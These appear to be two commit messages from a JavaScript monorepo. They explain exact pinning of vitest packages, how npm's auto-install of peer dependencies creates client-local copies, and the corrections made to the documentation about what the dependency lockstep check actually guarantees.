Copilot review round 2. Docs only; no manifest or lockfile change.
Two claims were wrong:
- "A tool one client runs stays in that client" is contradicted by the
manifests — tsup is declared in web, cli and tui, and vite in web and tui on
top of the root runtime dependency that --web --dev needs. The boundary is
"used by every client", not "used by one"; anything narrower stays put whether
one client declares it or several do. Both are out of scope here and say so.
- verify:dep-lockstep was named as the guard that the surviving copies agree. It
is not: it derives its candidate set from what each tsc program resolves, so a
tool binary never enters a program and is outside the set no matter how far it
drifts — and cli's @types/node 24.13.1 against the root's 24.13.3 is a live
skew that passes for the same reason. Both files now state the narrower
guarantee, say that nothing gates the binaries automatically, note that each
surviving copy is pinned by its holder's peer range, and give
`npm exec -- which` as the manual check.
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1.
@vitest/browser-playwright declares an EXACT peer on vitest ("vitest":
"4.1.10"), so that package — not the root's range — decides which vitest lands in
clients/web. Dropping web's own vitest declaration left the root free to resolve
4.1.11 while web's peer stayed at 4.1.10, so web's tests ran on one vitest while
loading a @vitest/coverage-v8 provider built against another. Both still passed,
which is the bad part.
vitest and @vitest/coverage-v8 at the root and @vitest/browser-playwright in
clients/web are now pinned exactly to 4.1.10 and move together, the same
discipline as the exact prettier pin (#1790).
The docs also claimed more than the change delivers. npm auto-installs an unmet
peer into the install that needs it, and a client install cannot see the root's
tree — so web's eslint-plugin-react-refresh / -storybook and the TUI's
eslint-plugin-react-hooks each pull a client-local eslint, and web's
Storybook/Vitest stack pulls a local typescript and vitest; @types/express
hoists an @types/node into web and cli. Those copies sit nearer than the root's
and win. AGENTS.md and the local-dev skill now say so, and state what the
consolidation actually buys: one declaration and one place to bump, with
verify:dep-lockstep as the guard that the copies agree.
Signed-off-by: cliffhall <cliff@futurescale.com>